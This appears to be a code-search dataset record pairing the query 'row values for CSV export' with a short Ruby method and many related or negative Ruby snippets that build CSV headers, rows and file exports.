"def export_header_str\n\n header_member_strs = [t('activerecord.attributes.shf_application.contact_email'),\n t('activerecord.attributes.user.email'),\n t('activerecord.attributes.shf_application.first_name'),\n t('activerecord.attributes.shf_application.last_name'),\n t('activerecord.attributes.user.membership_number'),\n t('activerecord.attributes.user.date_member_packet_sent'),\n t('activerecord.attributes.shf_application.state'),\n t('admin.export_ansokan_csv.date_state_changed'),\n t('activerecord.models.business_category.other'),\n t('activerecord.models.company.one'),\n t('admin.export_ansokan_csv.member_fee_paid'),\n t('admin.export_ansokan_csv.member_fee_expires'),\n t('admin.export_ansokan_csv.branding_fee_paid'),\n t('admin.export_ansokan_csv.branding_fee_expires'),\n t('activerecord.attributes.address.street'),\n t('activerecord.attributes.address.post_code'),\n t('activerecord.attributes.address.city'),\n t('activerecord.attributes.address.kommun'),\n t('activerecord.attributes.address.region'),\n t('activerecord.attributes.address.country'),\n ]\n\n out_str = ''\n\n out_str << header_member_strs.map { |header_str| \"'#{header_str.strip}'\" }.join(',')\n\n out_str << \"\\n\"\n\n end",
"def csv_header(header_prefix)\n @csv_header << header_prefix\n end",
"def header_fields\n @csv.headers\n end",
"def csv_header\n header = CSV.generate_line([\"Application Path\", \"Report Generation Time\", \"Checks Performed\", \"Rails Version\"])\n header << CSV.generate_line([File.expand_path(tracker.app_path), Time.now.to_s, checks.checks_run.sort.join(\", \"), rails_version])\n \"BRAKEMAN REPORT\\n\\n\" + header\n end",
"def csv_headers\n return @@csv_headers\n end",
"def header\n @header ||= csv_rows.first\n end",
"def header\n @header ||= csv_rows.first\n end",
"def header\n @header ||= Header.new(\n column_definitions: config.column_definitions,\n column_names: csv.header\n )\n end",
"def to_csv_headers( options={} ) \n first.class.to_csv_headers( options )\n end",
"def export_csv\n export_string = \"#{@id},#{type_string},#{@name.gsub(/[\\,,\\s]/,\"\")},\"\n @details.each{|k,v| export_string << \"#{k}=#{v};\".gsub(/[\\,,\\s]/,\"\") }\n export_string\n end",
"def export_csv\n export_string = \"#{@id},#{type_string},#{@name.gsub(/[\\,,\\s]/,\"\")},\"\n @details.each{|k,v| export_string << \"#{k}=#{v};\".gsub(/[\\,,\\s]/,\"\") }\n export_string\n end",
"def header\n self.mult_table.header_line.to_s + \"\\n\"\n end",
"def pretty_print_export_header\n text = name\n text += \" (#{unit})\" if unit.present?\n text\n end",
"def header=(_arg0); end",
"def required_csv_headers\n [:email, :name]\n end",
"def csv_file_header_array\n\t\tScreeningDatumUpdate.expected_column_names\n\tend",
"def header_build\n header = \"customer name\" + @delimiter + \"gender\" + @delimiter\n header += \"age\" + @delimiter + \"birthday\" + @delimiter + \"cpf\" + @delimiter + \"id\" + @delimiter\n header += \"state\" + @delimiter + \"city\" + @delimiter + \"street\" + @delimiter + \"zip_code\" + @delimiter\n header += \"company name\" + @delimiter + \"industry\" + @delimiter + \"cnpj\"\n header\nend",
"def write_header() \n @builder.head do\n @builder.title('OmniFocus OPML Export')\n @builder.dateCreated(Time.now.httpdate)\n @builder.dateModified(Time.now.httpdate)\n# TODO @builder.ownerName(\"\")\n# TODO @builder.ownerEmail('[email protected]')\n end\n end",
"def generate_itemdef_header(name)\n itemdef=File.new('itemdef.csv','w')\n itemdef << \"Name,\" << name << \"\\n\"\n itemdef << \"algFile,algorithm.js\" << \"\\n\"\n itemdef << \"name,path,type,isDataItemValue,isDrillDown\" << \"\\n\"\n itemdef << \"Source,source,TEXT,true,false\" << \"\\n\"\n itemdef.close;\n end",
"def header\n end",
"def generate_header_row\n (@header.map {|x| generate_header_item(x)}).join\n end",
"def to_csv_headers( options={} )\n options = { :headers=>true, :naming=>\":header\" }.merge( options )\n return nil if not options[:headers]\n\n fieldmap = to_csv_fields( options )\n headers = fieldmap.headers\n headers.push( *to_csv_headers_for_included_associations( options[ :include ] ).flatten )\n headers.map{ |header| options[:naming].gsub( /:header/, header ).gsub( /:model/, self.name.downcase ) }\n end",
"def write_column_headers\n\n # Get the column headings\n @column_names = {}\n # Access the schema\n @document.xpath('//element').each do |elem|\n # Extract the column name and the column heading\n column = elem.attributes[\"name\"].value\n table_name = elem.attributes[\"tableHeading\"].value\n column_name = elem.attributes[\"columnHeading\"].value\n full_column_name = table_name + \".\" + column_name\n # Get the output csv header name\n # If the column has no equivalent,\n # try the table name appended to the column name,\n # then just use the current heading\n output_column_name = column_mappings[column_name] || column_mappings[full_column_name] || column_name\n\n # Make a column mapping\n @column_names[column] = output_column_name\n end\n\n # Add the headers to the csv file\n CSV.open(csv_file_path, 'w') do |csv|\n csv << @column_names.values\n end\n\n end",
"def to_a11_header_csv(start_date:, end_date:)\n non_flagged_submissions = self.submissions.non_flagged\n return nil unless non_flagged_submissions.present?\n\n header_attributes = [\n \"submission comment\",\n \"survey_instrument_reference\",\n \"agency_poc_name\",\n \"agency_poc_email\",\n \"department\",\n \"bureau\",\n \"service\",\n \"transaction_point\",\n \"mode\",\n \"start_date\",\n \"end_date\",\n \"total_volume\",\n \"survey_opp_volume\",\n \"response_count\",\n \"OMB_control_number\",\n \"federal_register_url\"\n ]\n\n CSV.generate(headers: true) do |csv|\n submission = non_flagged_submissions.first\n csv << header_attributes\n csv << [\n submission.form.data_submission_comment,\n submission.form.survey_instrument_reference,\n submission.form.agency_poc_name,\n submission.form.agency_poc_email,\n submission.form.department,\n submission.form.bureau,\n submission.form.service_name,\n submission.form.name,\n submission.form.medium,\n start_date,\n end_date,\n submission.form.anticipated_delivery_count,\n submission.form.survey_form_activations,\n non_flagged_submissions.length,\n submission.form.omb_approval_number,\n submission.form.federal_register_url,\n ]\n end\n end",
"def header; end",
"def header; end",
"def header; end",
"def to_a11_header_csv(start_date:, end_date:)\n non_flagged_submissions = self.submissions.non_flagged.where(\"created_at >= ?\", start_date).where(\"created_at <= ?\", end_date)\n return nil unless non_flagged_submissions.present?\n\n header_attributes = [\n \"submission comment\",\n \"survey_instrument_reference\",\n \"agency_poc_name\",\n \"agency_poc_email\",\n \"department\",\n \"bureau\",\n \"service\",\n \"transaction_point\",\n \"mode\",\n \"start_date\",\n \"end_date\",\n \"total_volume\",\n \"survey_opp_volume\",\n \"response_count\",\n \"OMB_control_number\",\n \"federal_register_url\"\n ]\n\n CSV.generate(headers: true) do |csv|\n submission = non_flagged_submissions.first\n csv << header_attributes\n csv << [\n submission.form.data_submission_comment,\n submission.form.survey_instrument_reference,\n submission.form.agency_poc_name,\n submission.form.agency_poc_email,\n submission.form.department,\n submission.form.bureau,\n submission.form.service_name,\n submission.form.name,\n submission.form.medium,\n start_date,\n end_date,\n submission.form.anticipated_delivery_count,\n submission.form.survey_form_activations,\n non_flagged_submissions.length,\n submission.form.omb_approval_number,\n submission.form.federal_register_url,\n ]\n end\n end",
"def append_paper_metadata_header(csv)\n csv << [\"doi\", \"title\", \"status\", \"authors\", \"academic_editors\", \"handling_editors\", \"cover_editors\", \"reviewers\"]\nend",
"def table_header\n line = \"File|Total\".dup\n line << \"|Line\" if header_line_rate?\n line << \"|Branch\" if header_branch_rate?\n line << \"\\n\"\n end",
"def write_headers\n @sheet.row(0).replace [header]\n @sheet.row(3).replace name_header_row(@player.longs.first.ticker_name, @player.shorts.first.ticker_name, @player.calls.first.ticker_name)\n @sheet.row(4).replace data_header_row(long_short_headers, long_short_headers, call_put_headers)\n\n @sheet.row(17).replace name_header_row(@player.futures.first.ticker_name, 'Total P&L', @player.puts.first.ticker_name)\n @sheet.row(18).replace data_header_row(long_short_headers, overall_headers, call_put_headers)\n end",
"def print_header(file)\n file.print(\"rid,ts,uts,country,state,county,totc,newc,totd,newd,totr,ac\\n\");\n end",
"def export_csv\n # Find all Setup with the stored restrictions\n sorting :default => @@default_sort\n collection = @@model.find :all, :order => @sort, :conditions => session[:conditions]\n # Creation of the file\n file_name = \"#{@@param_name}_export_\" + current_user.id.to_s + \".csv\"\n \n csv_string = CSV.generate({:col_sep => ';', :encoding => \"ISO-8859-15\" }) do |csv|\n csv << @@name_print.map{|n| n.trn}\n collection.each do |element|\n csv << @@field_print.map{|f| element[f]}\n end\n end\n send_data Iconv.conv('iso-8859-1//IGNORE', 'utf-8', csv_string), :filename => file_name, :disposition => 'attachment', :type => 'text/csv; charset=iso-8859-1; header=present'\n end",
"def generate(collection, header_spec, csv_options = {} )\n CSV.generate do |csv|\n csv << header_spec.values\n collection.find_each(batch_size: 100) do |record|\n record = record.decorate if record.decorator_class?\n csv << header_spec.keys.collect {|key| record.send(key) rescue ''}\n end\n end\n end",
"def Header(*args)\n Stupidedi::Schema::TableDef.header(*args)\n end",
"def write_header(primary_key, fields)\n # 5 == field_header + field_footer size\n total_size = fields.inject(0){|sum,field| sum += (field || '').size + 5}\n # 13 == record header + record footer\n total_size += 13\n @io.write [total_size, primary_key].pack(\"VV\") \n end",
"def render_csv(data,headers,filename)\n csv_writer = ::CSV::Writer.generate(output = '')\n csv_writer << headers.split(',')\n data.each {|row| csv_writer << row}\n\t\tsend_data(output, :type => \"text/plain\", :filename => \"#{filename}\")\n end",
"def render_csv(data,headers,filename)\n csv_writer = ::CSV::Writer.generate(output = '')\n csv_writer << headers.split(',')\n data.each {|row| csv_writer << row}\n\t\tsend_data(output, :type => \"text/plain\", :filename => \"#{filename}\")\n end",
"def generate_header_row\n generate_row(@header)\n end",
"def generate_header_row\n generate_row(@header)\n end",
"def header(format, ntrks, division)\n end",
"def add_headers(columns, header, worksheet)\r\n \r\n # print a numeric format\r\n f5 = Format.new(:num_format => 0x0f)\r\n worksheet.format_row(0..2, 15, @formats[:title] )\r\n # add headers\r\n worksheet.write(FIRST_ROW, FIRST_COLUMN, \"Title: #{header.title.camelize}\")\r\n worksheet.write(FIRST_ROW + 1, 0, \"Description: #{header.description.camelize}\")\r\n worksheet.write(FIRST_ROW + 2, 0, \"Query: #{header.sql}\")\r\n \r\n columns.each_with_index do |col, cindex|\r\n worksheet.format_column(cindex, 15, @formats[:number_column]) # set width of column (15 fixed)\r\n worksheet.write(STARTING_COLUMN_ROW, cindex, col.camelize, @formats[:column_header])\r\n end\r\n end",
"def headers\n rows.first\n end",
"def print_header\n\t\t\"The students of Makers Academy\\n=======================================\"\nend",
"def header\n header = \"%FDF-1.2\\n\\n1 0 obj\\n<<\\n/FDF << /Fields 2 0 R\"\n # /F\n header << \"/F (#{options[:file]})\" if options[:file]\n # /UF\n header << \"/UF (#{options[:ufile]})\" if options[:ufile]\n # /ID\n header << \"/ID[\" << options[:id].join << \"]\" if options[:id]\n header << \">>\\n>>\\nendobj\\n2 0 obj\\n[\"\n return header\n end",
"def csv_setup\n # Set filename\n filename = \"ministry_partners.csv\" \n\n #this is required if you want this to work with IE \n if request.env['HTTP_USER_AGENT'] =~ /msie/i\n headers['Pragma'] = 'public'\n headers[\"Content-type\"] = \"text/plain\" \n headers['Cache-Control'] = 'no-cache, must-revalidate, post-check=0, pre-check=0'\n headers['Content-Disposition'] = \"attachment; filename=\\\"#{filename}\\\"\" \n headers['Expires'] = \"0\" \n else\n headers[\"Content-Type\"] ||= 'text/csv'\n headers[\"Content-Disposition\"] = \"attachment; filename=\\\"#{filename}\\\"\" \n headers['Cache-Control'] = ''\n end\n end",
"def header_str\n @columns.collect {|c|\n if @table[c]\n #{}\"%#{@table[c][:size]}s\" % [@table[c][:name]]\n format_data(c, @table[c][:name])\n else\n nil\n end\n }.compact.join(' ')\n end",
"def build_header_output\n output = []\n\n @header.each do |line|\n _data = []\n line.each do |h|\n _data << {:value => h, :color => @style[:header]}\n end\n output << _data\n end\n output\n end",
"def export_csofeed\n # Create header row #\n header = ['Record Type', 'Device Key', 'IP Addresses', 'MAC Addresses', 'System Name', 'FQDN', 'Status', 'Function', 'Runs MOTS/PRISM Apps', 'MOTS/PRISM IDs', 'Runs Non-MOTS/PRISM Apps', 'Internet Facing', 'Device Criticality', 'Device Owner', 'Operating System', 'Operating System Version', 'Administrator\\'s ATTUID', 'Support Group', 'Serial Number', 'Asset Tag Number', 'Location', 'Location CLLI', 'Comments' \"\\n\"]\n csvdoc = [header.join(',')]\n Node.all.each do |node|\n result = make_csoline(node)\n csvdoc << result.join(',') if result\n end\n fname = \"public/csvexports/csofeed_#{Time.now.strftime(\"%d%m%Y\")}.csv.gz\"\n File.open(fname, 'w') do |f|\n gz = Zlib::GzipWriter.new(f)\n gz.write csvdoc\n gz.close\n end\n end",
"def create_header\n @sheet.row(0).concat @header_row\n end",
"def to_csv_row\n CSV::Row.new(HEADERS, [firstname, lastname, suburb, age, gender])\nend",
"def _products_header\n\n\t$report_file.puts \" _ _ \"\n\t$report_file.puts \" | | | | \"\n\t$report_file.puts \" _ __ _ __ ___ __| |_ _ ___| |_ ___ \"\n\t$report_file.puts \"| '_ \\\\| '__/ _ \\\\ / _` | | | |/ __| __/ __|\"\n\t$report_file.puts \"| |_) | | | (_) | (_| | |_| | (__| |_\\\\__ \\\\\"\n\t$report_file.puts \"| .__/|_| \\\\___/ \\\\__,_|\\\\__,_|\\\\___|\\\\__|___/\"\n\t$report_file.puts \"| | \"\n\t$report_file.puts \"|_| \"\n\t$report_file.puts\n\t$report_file.puts \"--------------------------------------------------------------------\"\n\t$report_file.puts\nend",
"def headers\n @headers ||= next_row\n end",
"def header_str\n \"\"\n end",
"def summary_table_headers(args={})\n\t\t'''\n\t\t\t<thead>\n\t <tr>\n\t <th>Created At</th>\n\t <th>Payable To Organization Id</th>\n\t <th>Payable From Organization Id</th>\n\t <th>Payable From Patient Id</th>\n\t <th>Total</th>\n\t <th>Paid</th>\n\t <th>Pending</th>\n\t <th>Options</th>\n\t </tr>\n\t </thead>\n\t\t'''\n\tend",
"def generate_report\n CSV.generate(write_headers: false, headers: headers) do |csv|\n # Don't want to rely on `write_headers: true` since we want still\n # header row in the CSV file even when there is no data.\n csv << headers\n records.each do |record|\n csv << method_names.map { |method_name| record.public_send method_name }\n end\n end\n end",
"def output_header_level(level); end",
"def header header, op\n end",
"def write_headers(source_doc, output_file)\n items = [\"---\"]\n items << \"layout: #{@options[:layout]}\"\n items << \"title: \\\"#{source_doc.at_css(\"title\").text}\\\"\"\n items << \"description: \\\"#{source_doc.at_css(\"excerpt|encoded\", namespaces).text}\\\"\"\n items << \"date: #{source_doc.at_css(\"pubDate\").text}\"\n items << \"comments: #{@options[:comments]}\"\n items << \"author: #{@options[:author]}\"\n items << \"categories: [#{source_doc.css(\"category[domain='tag']\").collect { |n| n.text }.join(\",\")}]\"\n items << \"---\"\n output_file.write(\"#{items.join(\"\\r\\n\")}\\r\\n\\r\\n\") \n end",
"def _sales_report_header\n\t$report_file.puts \" _____ _ _____ _ \"\n\t$report_file.puts \" / ____| | | | __ \\\\ | |\"\n\t$report_file.puts \" | (___ __ _| | ___ ___ | |__) |___ _ __ ___ _ __| |_ \"\n\t$report_file.puts \" \\\\___ \\\\ / _` | |/ _ \\\\ __| | _ // _ \\\\ '_ \\\\ / _ \\\\| '__| __|\"\n\t$report_file.puts \" ____) | (_| | | __\\\\__ \\\\ | | \\\\ \\\\ __/ |_) | (_) | | | |_ \"\n\t$report_file.puts \" |_____/ \\\\__,_|_|\\\\___|___/ |_| \\\\_\\\\___| .__/ \\\\___/|_| \\\\__|\"\n\t$report_file.puts \" | | \"\n\t$report_file.puts \" |_| \t\"\n\t$report_file.puts\n\t$report_file.puts \"--------------------------------------------------------------------\"\n\t$report_file.puts \"--------------------------------------------------------------------\"\n\t$report_file.puts\nend",
"def output_header\n puts\n puts '-' * @title.length\n puts @title\n puts '-' * @title.length\n end",
"def headers\n # units and source have to go last, so if we push in a new header, these go\n # at end\n @headers+['units','source']\n end",
"def print_header\n \"#{\"Sl.\"} #{\"Description\".ljust(20)} #{\"Created time\".ljust(10)} #{\"Due by\".ljust(10)} #{\"Status\"}\"\n end",
"def header_rows\n []\n end",
"def non_standardized_header(row)\n @header=row.split(/\\s{2}+/).reject{|a|a.empty?} \n @header[1].insert(8,'--')\n @header[1]=@header[1].split(/--/)\n @header.insert(1,'Incep Date')\n @[email protected]\n end",
"def headers\n fields.map(&:name).map(&:to_sym)\n end",
"def print_row_col_headers(option = nil)\n if option.nil?\n @print_headers = 1\n else\n @print_headers = option\n end\n end",
"def header\n\t\t@json_file\n\tend",
"def headers\n columns.map(&:header)\n end",
"def write_csv_report\n unless @csv.nil?\n @csvexport.write(@csv)\n end\n end",
"def print_end_header()\n puts \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\nend",
"def datagrid_header(grid, options = {})\n datagrid_renderer.header(grid, options)\n end",
"def export_csv\n # Find all Setup with the stored restrictions\n sorting :default => 'es_setups.path, es_setups.name'\n setups = EsSetup.find :all, :order => @sort, :conditions => session[:conditions_setup]\n # Creation of the file\n file_name = \"setups_export_\" + current_user.id.to_s + \".csv\"\n \n csv_string = CSV.generate({:col_sep => ';', :encoding => \"ISO-8859-15\" }) do |csv|\n csv << [\"Chemin\".trn,\"Nom\".trn,\"Valeur\".trn,\"Type\".trn, \"Lecture seule\".trn]\n setups.each do |t|\n csv << [t.path,t.name,t.value,t.type_data,(t.read_only=='Y' ? 'V' : '')]\n end\n end\n send_data Iconv.conv('iso-8859-1//IGNORE', 'utf-8', csv_string), :filename => file_name, :disposition => 'attachment', :type => 'text/csv; charset=iso-8859-1; header=present'\n end",
"def header_row(collection)\n sheet.add_row header_data_for(collection), { :style => header_style_id }\n end",
"def render_csv(csv, filename = nil)\n filename ||= params[:action]\n filename += '.csv'\n\n if request.env['HTTP_USER_AGENT'] =~ /msie/i\n headers['Pragma'] = 'public'\n headers[\"Content-type\"] = \"text/plain\"\n headers['Cache-Control'] = 'no-cache, must-revalidate, post-check=0, pre-check=0'\n headers['Content-Disposition'] = \"attachment; filename=\\\"#{filename}\\\"\"\n headers['Expires'] = \"0\"\n else\n headers[\"Content-Type\"] ||= 'text/csv'\n headers[\"Content-Disposition\"] = \"attachment; filename=\\\"#{filename}\\\"\"\n end\n\n render :layout => false, :text => csv\n end",
"def csv_export_chrono\n csv_string = CSV.generate do |csv|\n\n csv << [ \"Plaque\", \"Equipe\", \"Nom VTT\", \"Prenom VTT\", \"ADN VTT\", \"Nom Route\", \"Prenom Route\", \"ADN Route\", \"Categorie\"]\n\n Team.order_by(:plate).each do |t|\n cat = t.category\n next unless cat\n\n cname = cat.map { |v| v.capitalize }.join('-')\n csv << [ t.plate, t.name, \n t.vtt.profile.name.upcase, t.vtt.profile.surname.capitalize, t.vtt.profile.birth.year, \n t.route.profile.name.upcase, t.route.profile.surname.capitalize, t.route.profile.birth.year, cname]\n end\n end\n\n respond!(csv_string, 200, 'Content-Type' => 'text/csv')\n end",
"def to_csv(headers=nil)\n headers = Item.csv_headers if headers.nil?\n values = []\n headers.each do |h|\n values << '\"' + self.send(h).to_s + '\"'\n end\n return values.join(\"\\t\")\n end",
"def dumpCsvSummary()\n CSV.open(csvFilenameSummary(), \"w\", { :col_sep => csvColSepChar() }) { |csv|\n csv << AnalyzerExpA.genCsvTitleRow() ;\n genCsvSummary().each{|row|\n csv << row ;\n }\n }\n end",
"def getHeader() @header1 end",
"def csv_string\n CSV.generate do |csv|\n header.write_header csv\n records.each {|r| r.write_record csv}\n end\n end",
"def generate_header\n \"<table class='bodyTable'><thead><th>Testing element</th><th>Pass</th><th>Result</th><th>Time</th></thead><tbody>\"\n end",
"def getHeaderFieldNames\n\t\tend",
"def export_column_headers(export_type = :addon_address)\n unless self.accepted.include? export_type\n raise ArgumentError, \"Invalid export_type. Try one of these: \\n \\t #{self.accepted.join ' '}\" \n end\n #todo make this private or add check for export_type\n headers = self.parsed_content[0]\n\n case export_type\n when :addon_address then headers += ['NORMALIZED']\n when :just_addresses then headers = ['Normalized Addresses']\n when :seperate_columns \n keys = self.tokenized_addresses.first.to_hash.keys\n headers = keys.map { |key| key.to_s}\n end\n end",
"def write_csv\n # header = \"name, description\"\n CSV.open(@csv_file, 'wb') do |csv|\n # csv << header\n @recipes.each do |row|\n csv << [row.name, row.description, row.cooking_time, row.difficulty, row.tested]\n end\n end\n end",
"def header(*args)\n $stderr.puts(args.compact.join(' '))\n end",
"def create_summary_csv(summary_csv_path)\n puts \"creating summary csv: #{summary_csv_path}\"\n\n CSV.open(summary_csv_path, \"wb\") do |csv|\n csv << SUMMARY_CSV_HEADINGS\n end\nend",
"def header\n \"*#{super}*\"\n end",
"def header(label)\n @lines << ''\n @lines << TColor.blue { label }\n end",
"def parse_headers!(csv_file)\n csv = CSV.open(csv_file, :headers => true)\n csv.gets\n csv.headers\n end",
"def generate_header(provider = nil)\n header = Qrda::Header.new(@@cda_header)\n\n header.identifier.root = UUID.generate\n header.authors.each {|a| a.time = Time.now}\n header.legal_authenticator.time = Time.now\n header.performers << provider\n\n header\n end",
"def export_header\n\n # TODO get compiler type depending on YAML arch type\n @outfile.puts '# configure compiler'\n @outfile.puts 'compiler \"patmos-llvm\";'\n @outfile.puts ''\n\n export_machine_description\n\n if @options.ais_header_file\n @outfile.puts(File.read(@options.ais_header_file))\n end\n @outfile.puts\n end",
"def header\n return @header\n end",
"def header_insert\n super\n end",
"def add_header(name, value)\n end"
] | [
"0.795292",
"0.78863126",
"0.77952063",
"0.77407753",
"0.7695519",
"0.75939745",
"0.75229716",
"0.74737644",
"0.7409826",
"0.73565865",
"0.7318806",
"0.7318806",
"0.7303383",
"0.72838557",
"0.7265608",
"0.7265608",
"0.7017066",
"0.6994554",
"0.69759184",
"0.69214886",
"0.6901527",
"0.6862323",
"0.68531317",
"0.68260133",
"0.6811907",
"0.6748053",
"0.6740244",
"0.67224485",
"0.6705386",
"0.66938955",
"0.66938955",
"0.66938955",
"0.668487",
"0.6676575",
"0.6666994",
"0.66400284",
"0.6613169",
"0.6600503",
"0.659197",
"0.65838647",
"0.6583639",
"0.65764844",
"0.65764844",
"0.65500253",
"0.65500253",
"0.6549644",
"0.65436953",
"0.65355337",
"0.6523371",
"0.65176076",
"0.6516878",
"0.65149117",
"0.6498221",
"0.6492566",
"0.6480075",
"0.6473736",
"0.64710486",
"0.640078",
"0.63768446",
"0.6369866",
"0.63696283",
"0.636544",
"0.6363852",
"0.6354937",
"0.63409054",
"0.6328622",
"0.63149863",
"0.63130313",
"0.6312652",
"0.6305023",
"0.6300247",
"0.6298633",
"0.6293758",
"0.6291036",
"0.6282095",
"0.62819856",
"0.6270707",
"0.6264359",
"0.6259958",
"0.62513834",
"0.62387884",
"0.6238141",
"0.6234838",
"0.62043035",
"0.6204203",
"0.62017",
"0.61994493",
"0.61962897",
"0.61842155",
"0.6151754",
"0.61470807",
"0.61446655",
"0.6139722",
"0.6129525",
"0.6115748",
"0.61143106",
"0.6113841",
"0.6105572",
"0.6104615"
] | 0.7965049 | 1 |
row values for CSV export | def csv_row
#empty by default
[]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_csv_row\n [@id, @name, @address]\n end",
"def csv_row\n [\n hub_id,\n tag_id,\n \"%2.2f\" % temperature,\n ACCELERATION_FORMAT % x_acceleration,\n ACCELERATION_FORMAT % y_acceleration,\n ACCELERATION_FORMAT % z_acceleration,\n rssi,\n timestamp.to_i\n ].join(\",\")\n end",
"def export_csv\n export_string = \"#{@id},#{type_string},#{@name.gsub(/[\\,,\\s]/,\"\")},\"\n @details.each{|k,v| export_string << \"#{k}=#{v};\".gsub(/[\\,,\\s]/,\"\") }\n export_string\n end",
"def export_csv\n export_string = \"#{@id},#{type_string},#{@name.gsub(/[\\,,\\s]/,\"\")},\"\n @details.each{|k,v| export_string << \"#{k}=#{v};\".gsub(/[\\,,\\s]/,\"\") }\n export_string\n end",
"def write(data_row)\n @csv << data_row.values_at(*@output_fields)\n end",
"def row(part, fields)\n \n data = \"\"\n \n # TODO: Add in notes, grain direction.\n fields.each { |f|\n \n # val = eval f[1] # Eval can be dangerous if passing something wrong into it...\n val = part[f[1]]\n \n # Check if the val is a float, so we can perform fraction conversion.\n if val.class == Float\n val = val.to_fraction(@round_dimensions)\n end\n \n data += \"#{val.to_s}\"\n data += f == fields.last ? \"\\n\" : \",\"\n\n puts \"[CSVRenderer.row] row values: #{f[0]}, #{val}\\n\\n\" if $cutlister_debug\n \n }\n \n data\n \n end",
"def csv(rows)\n rows.map { |r| r.join(';') }.join(\"\\n\")\n end",
"def entry_to_csv index\n\t\tcsv_string = \"\\\"\" + @year + \"\\\",\\\"\" + @edition + \"\\\",\" + contents[index].to_csv\n\t\treturn csv_string\n\tend",
"def update_csv(rows)\n CSV.open($out_path, \"wb\") do |csv| \n\n csv << rows.first.keys\n\n rows.each do |row| \n csv << row.values\n end\n end\nend",
"def to_csv_row\n CSV::Row.new(HEADERS, [firstname, lastname, suburb, age, gender])\nend",
"def student_to_csv(student)\n\t\tstudent.values\nend",
"def to_csv\n value.to_csv\n end",
"def csvString\n resultColumns = self.generateResultColumns\n headers = resultColumns[:columns].keys\n # Start off instantiating the csv string with the header values\n csvString = headers.map{|s| self.filterValue(s)}.join(@options[:delimiter])\n\n # Now iterate over each row, sticking its value under each header\n (0..resultColumns[:maxRowIndex]).each do |rowIndex|\n csvString << \"\\r\\n\"\n csvString << headers.map{ |header|\n self.filterValue(resultColumns[:columns][header][rowIndex])\n }.join(@options[:delimiter])\n end\n return csvString\n end",
"def write_row(row)\n end",
"def write_row(row)\n @csv << row\n\n self\n end",
"def raw_value(csv_row)\n csv_row[self.index]\n end",
"def to_csv\n str = ''\n str << ( columns.join(\",\") + \"\\n\" )\n rows.each { |row|\n next if is_hr(row) || !row_visible(row)\n str << ( row.map{|x|\n x = x.to_s\n x.gsub(/[\\r\\n]/, ' ').gsub(/\\s+/, ' ').gsub('\"', '\"\"')\n }.map{|x| \"\\\"#{x}\\\"\" }.join(\",\") + \"\\n\" )\n }\n str\n end",
"def csv_writer(rows)\n headers = [\"name\", \"capacity\", \"storage\"]\n CSV.open(\"reservoir_data.csv\", 'w') do |csv|\n csv << headers\n rows.each do |row|\n csv << row\n end\n end\nend",
"def csv_value(it, _user=nil)\n raw_value(it)\n end",
"def write_rows file_name, names, values\n header = names.join(',') + \"\\n\"\n body = values.map {|row| row.join(',') }.join($/)\n File.open(file_name + \".csv\", 'w') { |f| f.write(header + body) }\nend",
"def csv_from_row(op, row)\n res = \"\"\n until row.empty?\n entry = row.shift.to_s\n if /[,\"]/ =~ entry\n entry = entry.gsub(/\"/, '\"\"')\n res << '\"' << entry << '\"'\n else\n res << entry\n end\n res << \",\" unless row.empty?\n end\n op << res << CRLF\nend",
"def output\n CSV.open(\"test.csv\", \"wb\") do |csv|\n csv << [\"name\",\"type\",\"value\",\"date\"]\n @array_csv.each do |element|\n csv << element\n puts element.inspect\n end\n end\n end",
"def to_csv\n self.find.map {|row| row.join(',')}.join(\"\\n\")\n end",
"def to_csv\n csvString = LineCounter.columnNames.join(',') + \"\\n\"\n self.each { |result| csvString += result.to_a.join(',') + \"\\n\"}\n csvString\n end",
"def genCsvRowSummary()\n row = configIndex() ;\n\n row.push(getAveSpeed()) ;\n row.push(getShareRatio()) ;\n row.push(getCumulativeShare()) ;\n return row ;\n end",
"def to_csv\n # id.to_s << \",\" << last_name << \",\" << first_name << \",\" << email << \",\" << birthdate.to_s\n end",
"def to_csv\n \"#{@key},#{@expected},#{@type}\"\n end",
"def addRow\n\t\tnew_row = @vars.values\n\t\tcsvrow = new_row.to_csv\n\t\[email protected](csvrow)\n\tend",
"def process_row(row)\n row.to_s\n end",
"def output_to_csv(rows, destination_file_path)\n logger.debug { \"Outputting to CSV File. '#{destination_file_path}'\" }\n total_rows = rows.length\n CSV.open(destination_file_path, 'w') { |writer|\n rows.each_with_index do |row, idx|\n logger.debug { \"Writing Row #{idx+1} of #{total_rows}\" }\n writer << row\n end\n }\n logger.info { \"Output Saved to CSV File. '#{destination_file_path}'\" }\n end",
"def csv\n @name + \",b,\" + @calories.to_s\n end",
"def values_export(params = {})\n @client.get(\"#{path}/values/export.csv\", params)\n end",
"def row_values(row)\r\n assert_exists\r\n arr_rows = rows\r\n cells = arr_rows[row - 1].cells\r\n values = Array.new(cells.length)\r\n for i in 0..cells.length - 1 do\r\n values[i] = cells[i].to_s\r\n end\r\n return values\r\n end",
"def write_record csv = nil\n csv ||= self.csv\n raise 'Record#add_record_to_csv: no associated CSV object.' unless csv\n\n csv << values\n end",
"def generate_csv_file(file_path, row_data)\n CSV.open(file_path, \"wb\") do |csv|\n csv << [\"first_name\", \"last_name\", \"dob\", \"member_id\", \"effective_date\", \"expiry_date\", \"phone_number\"]\n row_data.each { |row| csv << row }\n end\nend",
"def csv\n @name + \",r,\" + @foods.join(\",\")\n end",
"def to_csv\n @csv ||= format_csv\n end",
"def to_csv\n attributes = %w{id email name course_ids major_title created_at}\n \n CSV.generate(headers: true) do |csv|\n csv << attributes\n csv << attributes.map{ |attr| self.send(attr) }\n end\n end",
"def csv\n\t\tc = \"#{entrytime},#@entrytype,#@extcmd,#@host,#@service,\"\n\t\tc += \"#@attempt,#@rc,#@state,#@hardsoft,\\\"#@msg\\\",\"\n\t\tc += \"#@contact,#@command,#@ack_author,#@ack_data,\"\n\t\tc\n\tend",
"def row; end",
"def csv_row(issue)\n [\n issue[:project_key],\n issue[:key],\n issue[:summary],\n issue[:description],\n issue[:issue_type],\n issue[:epic_name]\n ]\n end",
"def to_csv\n [@primary_key, \n @name, \n @user_record_name,\n @identifier,\n @cloudkit_last_modified_device,\n @notes.length,\n get_crypto_salt_hex,\n @crypto_iterations,\n get_crypto_key_hex]\n end",
"def to_csv\n [@name, @description, @prep_time, @done]\n end",
